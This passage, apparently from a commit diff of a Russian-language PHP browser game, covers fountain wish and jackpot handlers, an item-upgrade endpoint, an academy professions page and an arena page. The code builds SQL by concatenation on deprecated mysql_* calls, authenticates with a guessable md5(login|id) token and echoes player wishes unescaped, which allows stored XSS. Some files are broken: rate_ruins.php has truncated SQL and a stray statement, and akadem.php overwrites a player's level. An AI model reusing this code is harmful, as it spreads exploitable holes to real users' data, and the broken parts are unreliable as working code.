} else {
echo "<script>growl('Внимание', 'Red', 'Недостаточно средств');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
}
function loadWishs($p, $uid, $hash) {
$admin = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `align` FROM `users` WHERE `id` = "'.$uid.'" LIMIT 1'));
$acces = false; $adimg = '';
if(isset($admin['id'])) {
if($admin['align'] != 2.99) {
$acces = false;
} else {
if(md5($admin['login'].'|'.$admin['id']) == $hash) {
$acces = true;
} else {
$acces = false;
}
}
}
$pgs = mysql_fetch_array(mysql_query("SELECT COUNT(`id`) FROM `fontan_wish`"));
$item_per_page = 15;
$allPages = ceil($pgs[0]/$item_per_page);
$page_position = (($p-1) * $item_per_page);
echo '<table border="0" style="border-collapse: collapse; border: 1px solid #b0b0b0;" width="100%"><tbody>';
$w = mysql_query("SELECT `id`, `uid`, `time`, `wish` FROM `fontan_wish` ORDER BY `id` DESC LIMIT $page_position, $item_per_page");
while($pl = mysql_fetch_array($w)) {
if($i == 0) {
$i = 1; $color = '#eeeeee';
} else {
$i = 0; $color = '#e7e7e7';
}
if($acces == true) {
$adimg = '<img src="i/clear.gif" id="'.$pl['id'].'" class="deleted" /> ';
}
$user = login($pl['uid']);
echo '<tr bgcolor="'.$color.'"><td>'.$adimg.$user.'</td><td>'.$pl['wish'].'</td></tr>';
}
echo '</tbody></table>';
echo '<br />'.paginate_function($item_per_page, $p, $pgs[0], $allPages);
unset($pl, $user);
}
function howMuch() {
$f = mysql_fetch_array(mysql_query('SELECT `value` FROM `variables` WHERE `var` = "fontan_jackpot" LIMIT 1'));
echo $f['value'];
}
function tryGet($hash, $uid) {
if(isset($hash)) {
if($uid > 0) {
$user = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `money` FROM `users` WHERE `id` = "'.(int)$uid.'" LIMIT 1'));
if(isset($user['id'])) {
if(md5($user['login'].'|'.$user['id']) == $hash) {
$travm = mysql_fetch_array(mysql_query('SELECT `id` FROM `effects` WHERE (`type` = "13" OR `type` = "14") AND `owner` = "'.$user['id'].'" LIMIT 1'));
if(isset($travm['id'])) {
echo "<script>growl('Внимание', 'Red', 'Вы травмированы<br />Воздержитесь от попыток достать монетки.');</script>";
} else {
$rand = mt_rand(80, 100); $r = mt_rand(0, 100);
$jackpot = mysql_fetch_array(mysql_query('SELECT `value` FROM `variables` WHERE `var` = "fontan_jackpot" LIMIT 1'));
$last = mysql_fetch_array(mysql_query('SELECT `id`, `usid`, `money`, `time`, `count` FROM `fountain_game` WHERE `usid` = "'.$user['id'].'" LIMIT 1'));
if($jackpot['value'] > 0) {
if($r == $rand) {
$user['money'] += $jackpot['value'];
mysql_query('UPDATE `users` SET `money` = "'.$user['money'].'" WHERE `id` = "'.$user['id'].'" LIMIT 1');
mysql_query('UPDATE `variables` SET `value` = 0 WHERE `var` = "fontan_jackpot" LIMIT 1');
if(isset($last['id'])) {
$last['money'] += $jackpot['value']; $last['time'] = time(); $last['count'] += 1;
mysql_query('UPDATE `fountain_game` SET `money` = "'.$last['money'].'", `time` = "'.$last['time'].'", `count` = "'.$last['count'].'" WHERE `id` = "'.$user['id'].'" LIMIT 1');
} else {
mysql_query('INSERT INTO `fountain_game` (`usid`, `time`, `money`, `count`) VALUES ("'.$user['id'].'", "'.time().'", "'.$jackpot['value'].'", "1")');
}
mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '{$user['id']}', '\"".$user['login']."\" достал монетки из фонтана [$jackpot[value]] кр.', 1, '".time()."')");
echo "<script>growl('Внимание', 'Red', 'Вы достали монетки со дна!');</script>";
echo "<script>howMuch(); load_winers();</script>";
echo mysql_error();
} else {
add_trv($user['id']);
echo "<script>growl('Внимание', 'Red', 'Вам не далось достать монетки. Вы были травмированы.');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Фонтан пуст.');</script>";
}
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
}
function deleteWishs($id, $uid, $hash) {
if($id > 0) {
if($uid > 0) {
if(isset($hash)) {
$user = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `align` FROM `users` WHERE `id` = "'.(int)$uid.'" LIMIT 1'));
if(isset($user['id'])) {
if($user['align'] == 2.99) {
if(md5($user['login'].'|'.$user['id']) == $hash) {
$text = mysql_fetch_array(mysql_query('SELECT `id` FROM `fontan_wish` WHERE `id` = "'.(int)$id.'" LIMIT 1'));
if(isset($text['id'])) {
mysql_query('DELETE FROM `fontan_wish` WHERE `id` = "'.$text['id'].'" LIMIT 1');
echo "<script>growl('Внимание', 'Red', 'Удаленно'); load_wishs(1);</script>";
} else {
echo "<script>growl('Внимание', 'Red', 'Что удаляем?');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Недостаточно прав');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Что удаляем?');</script>";
}
}
if($_GET['do'] == 'load_winers' && $_GET['allList'] == 0) {
echo load_winers(5, $_GET['hash']);
} elseif($_GET['do'] == 'load_winers' && $_GET['allList'] == 1) {
echo load_winers(0, $_GET['hash']);
} elseif($_GET['do'] == 'showPanel') {
echo '<div id="wishFormBox" style="display: block;"><div style="overflow: hidden; margin: 6px 0;"><small>Не более 50 символов. Монетка тоже бросится</small><br />Я желаю : <input type="text" name="tekst" id="tekst" maxlength="50" size="50"><input type="button" onclick="if($(\'#tekst\').val()!=\'\'){wish($(\'#tekst\').val());}" value="Пусть сбудется!" /></div></div>';
} elseif($_GET['do'] == 'wish') {
echo send_wish($_GET['hash'], $_GET['tekst'], (int)$_GET['uid']);
} elseif($_GET['do'] == 'cureHps') {
echo cureHps($_GET['hash'], (int)$_GET['uid']);
} elseif($_GET['do'] == 'giveCoin') {
echo giveCoin($_GET['hash'], (int)$_GET['uid']);
} elseif($_GET['do'] == 'loadWishs') {
echo loadWishs((int)$_GET['page'], (int)$_GET['uid'], $_GET['hash']);
} elseif($_GET['do'] == 'howMuch') {
echo howMuch();
} elseif($_GET['do'] == 'tryGet') {
echo tryGet($_GET['hash'], (int)$_GET['uid']);
} elseif($_GET['do'] == 'deleteWishs') {
echo deleteWishs((int)$_GET['id'], (int)$_GET['uid'], $_GET['hash']);
}

22
ajax/rate_ruins.php Normal file
View File

@ -0,0 +1,22 @@
<?php
include('../config.php');
function form_rate($level) {
$r = '<b>По уровням : </b>';
for($i = 7; $i <= 13; $i++) {
if($level == $i) {
$r .= ' <b>['.$i.']</b>';
} else {
$r .= ' <a href="javascript: void(0);" id="'.$i.'">['.$i.']</a>';
}
}
$r .= '<ol>';
$sp = mysql_query('SELECT `groups`.*, `winers`.* FROM `group_wins` AS `grou WHERE `level` = "'.(int)$level.'" ORDER BY `id` DESC LIMIT 10');
$r .= '</ol>';
$r .= '<script>$("#levelCheck").text('.$level.');</script>';
return $r;
}
if($_GET['level'] >= 7 && $_GET['level'] <= 13) echo form_rate((int)$_GET['level']);
$r .= '<li><span class="date">04.02.16 06:00</span> - Победитель : Отряд «Winers ['.$level.']», в составе: <b>The Kite Runner</b>, <b>Costa</b>, <b>Rallo Tabs</b> <a>«История Турнира»</a></li>';

95
ajax/update_art.php Normal file
View File

@ -0,0 +1,95 @@
<?
include('../config.php');
function sums($val, $proc) {
$r = 0;
$flor = (int)$val/100;
$pl = $flor*$proc;
$r += $pl;
return $r;
}
if($_POST['item']) {
if($_POST['user']) {
if($_POST['hash']) {
$uid = (int)$_POST['user'];
$arr = array(
8 => array('cost' => 1500, 'ghp' => 8, 'stat' => 1, 'bron' => 1, 'mf' => 7, 'mindur' => 30, 'minu' => 1, 'maxu' => 1),
9 => array('cost' => 3500, 'ghp' => 10, 'stat' => 1, 'bron' => 1, 'mf' => 10, 'mindur' => 40, 'minu' => 2, 'maxu' => 2),
10 => array('cost' => 5000, 'ghp' => 12, 'stat' => 1, 'bron' => 1, 'mf' => 13, 'mindur' => 50, 'minu' => 3, 'maxu' => 3),
11 => array('cost' => 7500, 'ghp' => 14, 'stat' => 1, 'bron' => 1, 'mf' => 16, 'mindur' => 60, 'minu' => 4, 'maxu' => 4),
12 => array('cost' => 9000, 'ghp' => 16, 'stat' => 1, 'bron' => 1, 'mf' => 19, 'mindur' => 70, 'minu' => 5, 'maxu' => 5),
13 => array('cost' => 18000, 'ghp' => 18, 'stat' => 1, 'bron' => 1, 'mf' => 22, 'mindur' => 80, 'minu' => 6, 'maxu' => 6)
);
$user = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `doblest` FROM `users` WHERE `id` = "'.mysql_real_escape_string($uid).'" LIMIT 1'));
$salt = md5($user['login'].'|'.$user['id']);
if(isset($user['id'])) {
if($_POST['hash'] == $salt) {
$it = (int)$_POST['item'];
$item = mysql_fetch_array(mysql_query('SELECT * FROM `inventory` WHERE `owner` = "'.$user['id'].'" AND `id` = "'.mysql_real_escape_string($it).'" AND `point` > 0 AND `dressed` = 0 LIMIT 1'));
if(isset($item['id']) && ($item['nlevel'] >= 7 && $item['nlevel'] <= 13)) {
$level = $item['nlevel']+1;
if($user['doblest'] >= $arr[$level]['cost']) {
$user['doblest'] -= $arr[$level]['cost'];
mysql_query('UPDATE `users` SET `doblest` = "'.$user['doblest'].'" WHERE `id` = "'.$user['id'].'" LIMIT 1');
if($item['type'] != 3) {
$item['ghp'] += $arr[$level]['ghp'];
if($item['bron1'] > 0) { $item['bron1'] += 1; }
if($item['bron2'] > 0) { $item['bron2'] += 1; }
if($item['bron3'] > 0) { $item['bron3'] += 1; }
if($item['bron4'] > 0) { $item['bron4'] += 1; }
if($item['mfkrit'] > 0) { $item['mfkrit'] += sums($item['mfkrit'], $arr[$level]['mf']); }
if($item['mfakrit'] > 0) { $item['mfakrit'] += sums($item['mfakrit'], $arr[$level]['mf']); }
if($item['mfuvorot'] > 0) { $item['mfuvorot'] += sums($item['mfuvorot'], $arr[$level]['mf']); }
if($item['mfauvorot'] > 0) { $item['mfauvorot'] += sums($item['mfauvorot'], $arr[$level]['mf']); }
if($item['gsila'] > 0) { $item['gsila'] += $arr[$level]['stat']; }
if($item['glovk'] > 0) { $item['glovk'] += $arr[$level]['stat']; }
if($item['ginta'] > 0) { $item['ginta'] += $arr[$level]['stat']; }
if($item['gintel'] > 0) { $item['gintel'] += $arr[$level]['stat']; }
}
if($item['type'] == 3) {
$item['minu'] += $arr[$level]['minu']; $item['maxu'] += $arr[$level]['minu'];
}
$item['nlevel'] += 1;
if($item['nsila'] > 0) { $item['nsila'] += 1; }
if($item['nlovk'] > 0) { $item['nlovk'] += 1; }
if($item['ninta'] > 0) { $item['ninta'] += 1; }
if($item['nvinos'] > 0) { $item['nvinos'] += 1; }
if($item['nintel'] > 0) { $item['nintel'] += 1; }
if($item['nnoj'] > 0) { $item['nnoj'] += 1; }
if($item['ntopor'] > 0) { $item['ntopor'] += 1; }
if($item['ndubina'] > 0) { $item['ndubina'] += 1; }
if($item['nmech'] > 0) { $item['nmech'] += 1; }
if($item['maxdur'] < $arr[$level]['mindur']) { $item['maxdur'] = $arr[$level]['mindur']; $item['duration'] = 0; }
mysql_query('UPDATE `inventory` SET `nlevel` = "'.$item['nlevel'].'", `ghp` = "'.$item['ghp'].'", `bron1` = "'.$item['bron1'].'", `bron2` = "'.$item['bron2'].'", `bron3` = "'.$item['bron3'].'", `bron4` = "'.$item['bron4'].'", `mfkrit` = "'.$item['mfkrit'].'", `mfakrit` = "'.$item['mfakrit'].'", `mfuvorot` = "'.$item['mfuvorot'].'", `mfauvorot` = "'.$item['mfauvorot'].'", `gsila` = "'.$item['gsila'].'", `glovk` = "'.$item['glovk'].'", `ginta` = "'.$item['ginta'].'", `gintel` = "'.$item['gintel'].'", `minu` = "'.$item['minu'].'", `maxu` = "'.$item['maxu'].'", `nsila` = "'.$item['nsila'].'", `nlovk` = "'.$item['nlovk'].'", `ninta` = "'.$item['ninta'].'", `nvinos` = "'.$item['nvinos'].'", `nintel` = "'.$item['nintel'].'", `nnoj` = "'.$item['nnoj'].'", `ntopor` = "'.$item['ntopor'].'", `ndubina` = "'.$item['ndubina'].'", `nmech` = "'.$item['nmech'].'", `maxdur` = "'.$item['maxdur'].'", `duration` = "'.$item['duration'].'" WHERE `id` = "'.$item['id'].'" LIMIT 1');
###
mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '{$user['id']}', '\"".$user['login']."\" улучшил предмет: \"".$item['name']."\" id:(".$item['id'].") [$item[duration]/".$item['maxdur']."] за ".$arr[$level]['cost']." реп, до уровня $item[nlevel].', 1, '".time()."')");
###
echo 'success';
} else {
echo 'Недостаточно репутации для операции ...';
}
} else {
echo 'Предмет не найден ...';
}
} else {
echo 'Утеря параметров. Код ошибки: 1001001.';
}
} else {
echo 'А вы кто ???';
}
} else {
echo 'Утерян параметр #hash# ...';
}
} else {
echo 'А вы кто ???';
}
} else {
echo 'Выберите предмет!';
}
?>

0
ajax_hostel.php Normal file
View File

206
akadem.php Normal file
View File

@ -0,0 +1,206 @@
<?php
session_start();
if ($_SESSION['uid'] == null) header("Location: index.php");
include "config.php";
$user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;"));
include "functions.php";
$d = mysql_fetch_array(mysql_query("SELECT sum(`massa`) FROM `inventory` WHERE `owner` = '{$_SESSION['uid']}' AND `dressed` = 0; "));
if ($user['room'] != 61) { header("Location: main.php"); die(); }
if ($user['battle'] != 0) { header('location: fight.php'); die(); }
if($_POST['nastav']){
//if($user['prof3'] < time()){
if($user['level'] >= 4){
if($user['money'] >= 300){
if( $user['prof3_level'] > 0 && $user['prof3_level'] * ( 86400 * 30 ) + $user['prof3'] < time() ) {
$user['prof3_level'] = 0;
}
$user['prof3'] = time();
mysql_query("UPDATE `users` set `prof3`='".$user['prof3']."', `money`=`money`-'300', `level` = '".$user['prof3_level']."' WHERE `id`='".$user['id'] ."'");
echo"<font color=red><b>Вы получили профессию Наставника!</b></font>";
}else{echo"<font color=red><b>У вас нет 300 КР!</b></font>";}
}else{echo"<font color=red><b>Для получения профессии необходим 4 уровень и выше!</b></font>";}
//}else{echo"<font color=red><b>Вы уже владеете Гражданской профессией!</b></font>";}
}
if($_POST['obrob']){
if($user['prof1'] == 0){
if($user['level'] >= 3){
if($user['money'] >= 300){
mysql_query("UPDATE `users` set `prof1`='1', `money`=`money`-'300' WHERE `id`='".$user['id'] ."'");
echo"<font color=red><b>Вы получили профессию Обробщика!</b></font>";
}else{echo"<font color=red><b>У вас нет 300 КР!</b></font>";}
}else{echo"<font color=red><b>Для получения профессии необходим 3 уровень и выше!</b></font>";}
}else{echo"<font color=red><b>Вы уже владеете Гражданской профессией!</b></font>";}
}
if($_POST['pala4']){
if($user['prof2'] == 0){
if($user['level'] >= 5){
if($user['money'] >= 700){
mysql_query("UPDATE `users` set `prof2`='21', `money`=`money`-'700' WHERE `id`='".$user['id'] ."'");
echo"<font color=red><b>Вы получили профессию !</b></font>";
}else{echo"<font color=red><b>У вас нет 700 КР!</b></font>";}
}else{echo"<font color=red><b>Для получения профессии необходим 5 уровень и выше!</b></font>";}
}else{echo"<font color=red><b>Вы уже владеете Боевой профессией!</b></font>";}
}
if($_POST['lekar']){
if($user['prof2'] == 0){
if($user['level'] >= 5){
if($user['money'] >= 700){
mysql_query("UPDATE `users` set `prof2`='22', `money`=`money`-'700' WHERE `id`='".$user['id'] ."'");
echo"<font color=red><b>Вы получили профессию Лекаря!</b></font>";
}else{echo"<font color=red><b>У вас нет 700 КР!</b></font>";}
}else{echo"<font color=red><b>Для получения профессии необходим 5 уровень и выше!</b></font>";}
}else{echo"<font color=red><b>Вы уже владеете Боевой профессией!</b></font>";}
}
if($_GET['exit'] == 1) {
mysql_query('UPDATE `users`,`online` SET `users`.`room` = 2702, `online`.`room` = 2702 WHERE `users`.`id` = "'.$user['id'].'" AND `online`.`id` = "'.$user['id'].'"');
header('Location: city.php');
}
?>
<HTML><HEAD>
<link rel=stylesheet type="text/css" href="css/main.css">
<meta content="text/html; charset=utf-8" http-equiv=Content-type>
<META Http-Equiv=Cache-Control Content=no-cache>
<meta http-equiv=PRAGMA content=NO-CACHE>
<META Http-Equiv=Expires Content=0>
<SCRIPT LANGUAGE="JavaScript">
function AddCount(name)
{
document.all("hint3").innerHTML = ' <FORM METHOD=POST ACTION="repair.php?razdel=1"><table border=0 width=100% cellspacing=1 cellpadding=0 bgcolor="#CCC3AA"><tr><td align=center><B>Гравировка</td><td width=20 align=right valign=top style="cursor: hand" onclick="closehint3();"><BIG><B>x</TD></tr><tr><td colspan=2>'+
'<table border=0 width=100% cellspacing=0 cellpadding=0 bgcolor="#FFF6DD"><tr><INPUT TYPE="hidden" name="set" value="'+name+'"><td colspan=2 align=center><small>Какую надпись желаете выгравировать:</small></td></tr><tr><td width=80% align=right>'+
'<INPUT TYPE="text" NAME="count" size=30></td><td width=20%>&nbsp;<INPUT TYPE="submit" value=" »» ">'+
'</TD></TR></TABLE></td></tr></table>';
document.all("hint3").style.visibility = "visible";
document.all("hint3").style.left = event.x+document.body.scrollLeft-20;
document.all("hint3").style.top = event.y+document.body.scrollTop+5;
document.all("count").focus();
}
// Закрывает окно
function closehint3()
{
document.all("hint3").style.visibility="hidden";
}
</SCRIPT>
</HEAD>
<body leftmargin=5 topmargin=5 marginwidth=5 marginheight=5 bgcolor=#d4d4d4>
<TABLE border=0 width=100% cellspacing="0" cellpadding="0">
<FORM action="city.php?act=go&level=2702" method=POST>
<tr><td align=right>
<INPUT TYPE="button" value="Подсказка" style="background-color:#A9AFC0" onClick="window.open('help/shop.html', 'help', 'height=300,width=500,location=no,menubar=no,status=no,toolbar=no,scrollbars=yes')">
<input type="button" class="btns" value="Обновить" onclick="location.href='main.php';" />
<input type="button" class="btns button-route" value="Вернуться" onclick="location.href='?exit=1';" />
</FORM>
</TABLE>
</body>
</html>
<td><h3><centre>АКАДЕМИЯ </centre> </td>
<center><font color=red><b>Внимание!</b></font> Нажав на кнопку с профессией, с вашего счета мгновенно будет списана ее стоимость. Будьте внимательны!</center>
<FORM METHOD=POST ACTION="akadem.php">
<table width=100% align=center><tr><td align=center>
<font color=blue size=+1>Боевые Профессии</font></td> </tr>
<tr><td width=50% align=center><b>Палач</b><br>
<?
if ($user['prof2'] == 0){
echo'<INPUT TYPE="submit" name="pala4" value="Изучить профессию" title="Изучить профессию" style="FONT-WEIGHT: bold;">';
}
else{
echo"<font color=red><b>Внимание!</b></font> Вы уже владеете Боевой профессией: ";
if ($user['prof2'] == 21) {echo"<b>Палач!</b>";}
elseif ($user['prof2'] == 22) {echo"<b>Лекарь!</b>";}
}
?>
<br>Цена: <b>700</b> КР. Необходимый уровень: <b>5</b><br> <em>Данная профессия позволяет своему владельцем стать наемником. Он сможет принимать заказы на нападения или кровавые нападения по отношению к другим игрокам.</em><hr>
<b>Лекарь</b><br>
<?
if ($user['prof2'] == 0){
echo'<INPUT TYPE="submit" name="lekar" value="Изучить профессию" title="Изучить профессию" style="FONT-WEIGHT: bold;">';
}
else{
echo"<font color=red><b>Внимание!</b></font> Вы уже владеете Боевой профессией: ";
if ($user['prof2'] == 21) {echo"<b>Палач!</b>";}
elseif ($user['prof2'] == 22) {echo"<b>Лекарь!</b>";}
}
?>
<br>Цена: <b>700</b> КР. Необходимый уровень: <b>5</b><br> <em>С помощью этой профессии вы сможете лечить травмированых игроков, тем самым увеличив свои доходы, благодаря оказанным услугам.</em><hr>
</td></table>
<P>
<table width=100% align=center><tr><td align=center>
<font color=green size=+1>Гражданские Профессии</font></td></tr>
<tr><td width=50% align=center><b>Обробщик</b><br>
<?
if ($user['prof1'] == 0){
echo'<INPUT TYPE="submit" name="obrob" value="Изучить профессию" title="Изучить профессию" style="FONT-WEIGHT: bold;">';
}
else{
echo"<font color=red><b>Внимание!</b></font> Вы уже владеете Гражданской профессией: ";
if ($user['prof1'] == 1) {echo"<b>Обробщик!</b>";}
}
?>
<br>Цена: <b>300</b> КР. Необходимый уровень: <b>3</b><br> <em>Данная профессия позволяет затачивать урон, модификаторы и броню предметов. Заточка предметов производится в <b>Доме мастеров</b>, зал Обробщика.</em><hr>
<b>Колдун</b><br>
<b>В стадии разработки...</b>
<br>Цена: <b>300</b> КР. Необходимый уровень: <b>3</b><br> <em>Колдун может встраивать руны, тем самым увеличивать силу, интуицию, ловкость, выносливость предмета, а также встраивать дополнительное здоровье и ману. Встройка рун производится в <b>Доме мастеров</b>, зал Колдуна.</em><hr>
<b>Кузнец</b><br>
<b>В стадии разработки...</b>
<br>Цена: <b>300</b> КР. Необходимый уровень: <b>3</b><br> <em>Профессия позволяет создавать предметы более дешевой цены нежели в магазине или вовсе такие, которых не сыскать на прилавках. Создание вещей производится в <b>Доме мастеров</b>, зал Кузнеца.</em><hr>
<b>Алхимик</b><br>
<b>В стадии разработки...</b>
<br>Цена: <b>300</b> КР. Необходимый уровень: <b>3</b><br> <em>Алхими способны создавать различные свитки и элексиры, в основном такие, которые трудно найти в обычном магазине. Алхимики могут трудиться в <b>Доме мастеров</b>, зал Алхимика.</em><hr>
</td></tr>
<tr><td width=50% align=center><b>Наставник</b><br>
<?
if ($user['prof3'] != 1){
if( ( $user['prof3'] + 86400 * 30 > time() ) || ( $user['prof3'] + 86400 * 30 * $user['prof3_level'] > time() ) ) {
$timeprof3 = $user['prof3'];
if( $user['prof3_level'] > 0 ) {
$timeprof3 += 86400 * 30 * $user['prof3_level'];
}else{
$timeprof3 += 86400 * 30;
}
$timeprof3 = date('d.m.Y H:i',$timeprof3);
echo '<font color="red"><b>Лицензия Наставника действительна до '.$timeprof3.'</b></font>';
echo'<br><INPUT TYPE="submit" name="nastav" value="Обновить время лицензии" title="Обновить время лицензии" style="FONT-WEIGHT: bold;">';
}else{
echo'<INPUT TYPE="submit" name="nastav" value="Изучить профессию" title="Изучить профессию" style="FONT-WEIGHT: bold;">';
}
}else{
echo"<font color=red><b>Внимание!</b></font> Вы уже владеете Гражданской профессией: ";
if ($user['prof3'] == 1) {echo"<b>Наставник!</b>";}
}
?>
<br>Цена: <b>300</b> КР. Необходимый уровень: <b>4</b><br> <em>Данная профессия позволяет становиться Наставником новичков и получать <b>репутацию</b> за их достижения.</em><hr>
</td></tr>
</table>
</FORM>
<div id="hint3" class="ahint"></div>
<br>

214
aren_of_angels.php Normal file
View File

@ -0,0 +1,214 @@
<?php
session_start();
if($_SESSION['uid'] == null) { header("Location: index.php"); }
include("config.php");
include("functions.php");
$start = mysql_fetch_array(mysql_query('SELECT `value` FROM `variables` WHERE `var` = "arena_of_gods" LIMIT 1'));
$is_now = mysql_fetch_array(mysql_query('SELECT `id` FROM `battle` WHERE `aren_of` = 1 AND `win` = 3 ORDER BY `id` DESC LIMIT 1'));
$eff = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND (`type` = 11 OR `type` = 12) LIMIT 1"));
$w = mysql_fetch_array(mysql_query('SELECT `value` FROM `variables` WHERE `var` = "arena_win" LIMIT 1'));
$al = aligntype($user['align']);
if($w['value'] == 1) {
$winers = 'Прошлая победа за Силами Тьмы';
} elseif($w['value'] == 2) {
$winers = 'Прошлая победа за Силами Света';
} else {
$winers = 'Прошлая битва завершилась ничьей.';
}
$error = '';
if(isset($_GET['append'])) {
if($_GET['append'] == 1) { ##### team 2
if($al == 1 || $al == 3) {
if(isset($is_now['id'])) {
if(!isset($eff['id'])) {
if($user['level'] >= 7) {
if($user['hp'] > $user['maxhp']*0.33) {
if($user['align'] != 4) {
if($is_now['time_m'] < (time()+60*60)) {
$bot = mysql_fetch_array(mysql_query('SELECT `id` FROM `bots` WHERE `battle` = "'.$is_now['id'].'" AND `prototype` = "10023" LIMIT 1'));
join_arena($user['id'], $is_now['id'], 2, $bot['id']);
} else {
$error = 'Время истекло ...';
}
} else {
$error = 'Хаосникам тут не место ...';
}
} else {
$error = 'Вы слишком ослаблены ...';
}
} else {
$error = 'Данный вид поединков доступен с 7 уровня ...';
}
} else {
$error = 'Вы травмированны и не можете принять участие в поединке ...';
}
} else {
$error = 'Поединок не найден ...';
}
} else {
$error = 'Не Ваша склонность ...';
}
} elseif($_GET['append'] == 2) { ##### team 1
if($al == 2 || $al == 3) {
if(isset($is_now['id'])) {
if(!isset($eff['id'])) {
if($user['level'] >= 7) {
if($user['hp'] > $user['maxhp']*0.33) {
if($user['align'] != 4) {
if($is_now['time_m'] < (time()+60*60)) {
$bot = mysql_fetch_array(mysql_query('SELECT `id` FROM `bots` WHERE `battle` = "'.$is_now['id'].'" AND `prototype` = "10024" LIMIT 1'));
join_arena($user['id'], $is_now['id'], 1, $bot['id']);
} else {
$error = 'Время истекло ...';
}
} else {
$error = 'Хаосникам тут не место ...';
}
} else {
$error = 'Вы слишком ослаблены ...';
}
} else {
$error = 'Данный вид поединков доступен с 7 уровня ...';
}
} else {
$error = 'Вы травмированны и не можете принять участие в поединке ...';
}
} else {
$error = 'Поединок не найден ...';
}
} else {
$error = 'Не Ваша склонность ...';
}
}
}
?>
<html>
<head>
<title>404</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta http-equiv="content-language" content="ru" />
<link rel="stylesheet" type="text/css" href="design/css/fight.css" />
</head>
<style>
.hs {
font-weight: bold;
font-size: 19px;
color: #8f0000;
font-family: arial;
text-align: center;
}
.bt {
float: right;
border: solid 1px #b0b0b0;
margin-top: 1px;
margin-bottom: 2px;
font-size: 11px;
color: #191970;
background-color: white;
padding: 1px 6px;
}
.credenzaBox {
width: 800px;
height: 367px;
overflow: hidden;
}
.credenzaItem {
width: 540px;
margin: 15px 120px;
padding: 6px 10px;
/*border: 1px inset #e2e0e0; 299pxxx
background: rgba(226,224,224, 0.9);*/
text-align: center;
}
.credenza-stateCaption {
text-align: center;
font-weight: bold;
margin-bottom: 12px;
color: #FFF;
font: 19px Arial, sans-serif;
text-shadow: red 1px 1px 0, red -1px -1px 0,
red -1px 1px 0, red 1px -1px 0;
/*
text-shadow: 3px 3px 2px rgba(0, 192, 173, 1);
font-size: 19px;
*/
}
.buttonContainer {
position: relative;
right: 0px;
top: 1px;
text-align: center;
overflow: hidden;
padding: 2px;
zoom: 1;
}
.contentContainer {
margin-left: auto;
margin-right: auto;
width: 800px;
height: auto;
position: relative;
}
h2 {
font-size: 13px;
margin-bottom: 0px;
color: #FFF;
font-family: verdana;
}
a {
font-weight: bold;
color: #FFF;
text-decoration: none;
}
a:hover {
color: Red;
}
</style>
<body>
<center><div><span class="hs">Арена Ангелов</span></div></center>
<div class="contentContainer">
<div class="buttonContainer">
<input type="button" onclick="location.href='city.php?bps=1';" class="bt" value="Вернуться" />
<input type="button" onclick="location.reload();" class="bt" value="Обновить" />
</div>
<!-- url('/i/im/1724581.jpg') -->
<div class="credenzaBox" style="background: url('/i/im/u1001573_1407648022.jpg') no-repeat center;">
<div class="credenzaItem">
<? if(!isset($is_now['id'])) { ?>
<div class="credenza-stateCaption"><center><? echo $winers;?>.<br />Следующая битва для 7-21 ур. состоится : <? echo date("d.m.Y H:i", $start['value']);?></center></div>
<? } else { ?>
<div class="credenza-stateCaption"><h2><center>Идет сражение [7-21 уровни]</center></h2><br /><a href="/logs.php?log=<?=$is_now['id'];?>" target="_blank" style="text-align: center;">ход боя »»</a></div>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td align="left">
<a href="?append=1" style="display: inline;"><img src="/i/im/append_1.png" height="70" /><br />Вмешаться</a>
</td>
<td align="center">
<img src="/i/im/logo_big2.png" />
</td>
<td align="right">
<a href="?append=2" style="display: inline;"><img src="/i/im/append_2.png" height="70" /><br />Вмешаться</a>
</td>
</tr>
</tbody>
</table>
<? } ?>
</div>
</div>
</div>
<center><? if($error != '') { echo '<b style=\'color: Red;\'>'.$error.'</b>'; } ?></center>
</body>
</html>

214
aren_of_angels2.php Normal file
View File

@ -0,0 +1,214 @@
<?php
session_start();
if($_SESSION['uid'] == null) { header("Location: index.php"); }
include("config.php");
include("functions.php");
$start = mysql_fetch_array(mysql_query('SELECT `value` FROM `variables` WHERE `var` = "arena_of_gods" LIMIT 1'));
$is_now = mysql_fetch_array(mysql_query('SELECT `id` FROM `battle` WHERE `aren_of` = 1 AND `win` = 3 ORDER BY `id` DESC LIMIT 1'));
$eff = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND (`type` = 11 OR `type` = 12) LIMIT 1"));
$w = mysql_fetch_array(mysql_query('SELECT `value` FROM `variables` WHERE `var` = "arena_win" LIMIT 1'));
$al = aligntype($user['align']);
if($w['value'] == 1) {
$winers = 'Прошлая победа за Силами Тьмы';
} elseif($w['value'] == 2) {
$winers = 'Прошлая победа за Силами Света';
} else {
$winers = 'Прошлая битва завершилась ничьей.';
}
$error = '';
if(isset($_GET['append'])) {
if($_GET['append'] == 1) { ##### team 2
if($al == 1 || $al == 3) {
if(isset($is_now['id'])) {
